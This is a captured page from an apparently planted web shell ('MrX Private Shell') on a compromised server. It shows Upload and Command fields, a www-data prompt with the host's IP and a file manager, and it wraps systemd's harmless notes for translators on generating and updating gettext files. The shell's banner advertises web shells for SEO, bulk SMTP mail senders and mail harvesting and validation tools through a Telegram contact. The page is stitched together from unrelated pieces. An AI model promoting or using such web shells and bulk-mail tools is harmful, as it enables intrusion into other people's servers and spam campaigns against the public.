__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
title: Notes for Translators
category: Contributing
layout: default
SPDX-License-Identifier: LGPL-2.1-or-later
---

# Notes for Translators

systemd depends on the `gettext` package for multilingual support.

You'll find the i18n files in the `po/` directory.

The build system (meson/ninja) can be used to generate a template (`*.pot`),
which can be used to create new translations.

It can also merge the template into the existing translations (`*.po`), to pick
up new strings in need of translation.

Finally, it is able to compile the translations (to `*.gmo` files), so that
they can be used by systemd software. (This step is also useful to confirm the
syntax of the `*.po` files is correct.)

## Creating a New Translation

To create a translation to a language not yet available, start by creating the
initial template:

```
$ ninja -C build/ systemd-pot
```

This will generate file `po/systemd.pot` in the source tree.

Then simply copy it to a new `${lang_code}.po` file, where
`${lang_code}` is the two-letter code for a language
(possibly followed by a two-letter uppercase country code), according to the
ISO 639 standard.

In short:

```
$ cp po/systemd.pot po/${lang_code}.po
```

Then edit the new `po/${lang_code}.po` file (for example,
using the `poedit` GUI editor.)

## Updating an Existing Translation

Start by updating the `*.po` files from the latest template:

```
$ ninja -C build/ systemd-update-po
```

This will touch all the `*.po` files, so you'll want to pay attention when
creating a git commit from this change, to only include the one translation
you're actually updating.

Edit the `*.po` file, looking for empty translations and translations marked as
"fuzzy" (which means the merger found a similar message that needs to be
reviewed as it's expected not to match exactly.)

You can use any text editor to update the `*.po` files, but a good choice is
the `poedit` editor, a graphical application specifically designed for this
purpose.

Once you're done, create a git commit for the update of the `po/*.po` file you
touched. Remember to undo the changes to the other `*.po` files (for instance,
using `git checkout -- po/` after you commit the changes you do want to keep.)

## Recompiling Translations

You can recompile the `*.po` files using the following command:

```
$ ninja -C build/ systemd-gmo
```

The resulting files will be saved in the `build/po/` directory.

Filemanager

Name Type Size Permission Actions
CODING_STYLE.md.gz File 12.95 KB 0644
DISTRO_PORTING.md File 3.26 KB 0644
ENVIRONMENT.md.gz File 10.41 KB 0644
HACKING.md.gz File 5.7 KB 0644
NEWS.Debian.gz File 1.88 KB 0644
NEWS.gz File 294.48 KB 0644
README.Debian.gz File 2.02 KB 0644
README.gz File 7.6 KB 0644
README.logs File 1.02 KB 0644
TRANSIENT-SETTINGS.md.gz File 3.08 KB 0644
TRANSLATORS.md File 2.36 KB 0644
UIDS-GIDS.md.gz File 6.89 KB 0644
changelog.Debian.gz File 81.17 KB 0644
copyright File 12.48 KB 0644
Filemanager